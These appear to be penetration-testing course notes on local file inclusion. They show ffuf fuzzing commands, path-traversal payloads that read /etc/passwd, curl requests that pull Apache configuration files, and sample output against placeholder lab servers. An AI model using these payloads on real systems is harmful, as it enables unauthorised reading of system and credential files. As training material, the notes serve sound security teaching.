Automated Scanning

Fuzzing Parameters

 ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287

...SNIP...

 :: Method           : GET
 :: URL              : http://<SERVER_IP>:<PORT>/index.php?FUZZ=value
 :: Wordlist         : FUZZ: /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: xxx
________________________________________________

language                    [Status: xxx, Size: xxx, Words: xxx, Lines: xxx]

LFI wordlists

• LFI Wordlists

• LFI-Jhaddix.txt

 ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287

...SNIP...

 :: Method           : GET
 :: URL              : http://<SERVER_IP>:<PORT>/index.php?FUZZ=key
 :: Wordlist         : FUZZ: /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: xxx
________________________________________________

..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72]
...SNIP...
../../../../etc/passwd  [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 3661, Words: 645, Lines: 91]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 3661, Words: 645, Lines: 91]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]

Fuzzing Server Files

• wordlist for Linux

• wordlist for Windows.

ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287

...SNIP...

: Method           : GET
 :: URL              : http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 2287
________________________________________________

/var/www/html/          [Status: 200, Size: 0, Words: 1, Lines: 1]

Server Logs/Configurations

• LFI-Jhaddix.txt

• wordlist for Linux

• wordlist for Windows,

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287

...SNIP...

 :: Method           : GET
 :: URL              : http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ
 :: Wordlist         : FUZZ: ./LFI-WordList-Linux
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 2287
________________________________________________

/etc/hosts              [Status: 200, Size: 2461, Words: 636, Lines: 72]
/etc/hostname           [Status: 200, Size: 2300, Words: 634, Lines: 66]
/etc/login.defs         [Status: 200, Size: 12837, Words: 2271, Lines: 406]
/etc/fstab              [Status: 200, Size: 2324, Words: 639, Lines: 66]
/etc/apache2/apache2.conf [Status: 200, Size: 9511, Words: 1575, Lines: 292]
/etc/issue.net          [Status: 200, Size: 2306, Words: 636, Lines: 66]
...SNIP...
/etc/apache2/mods-enabled/status.conf [Status: 200, Size: 3036, Words: 715, Lines: 94]
/etc/apache2/mods-enabled/alias.conf [Status: 200, Size: 3130, Words: 748, Lines: 89]
/etc/apache2/envvars    [Status: 200, Size: 4069, Words: 823, Lines: 112]
/etc/adduser.conf       [Status: 200, Size: 5315, Words: 1035, Lines: 153]

$ curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf

...SNIP...
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
...SNIP...

$ curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars

...SNIP...
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# temporary state file location. This might be changed to /run in Wheezy+1
export APACHE_PID_FILE=/var/run/apache2$SUFFIX/apache2.pid
export APACHE_RUN_DIR=/var/run/apache2$SUFFIX
export APACHE_LOCK_DIR=/var/lock/apache2$SUFFIX
# Only /var/log/apache2 is handled by /etc/logrotate.d/apache2.
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
...SNIP...

LFI Tools

• LFISuite

• LFiFreak

• liffy.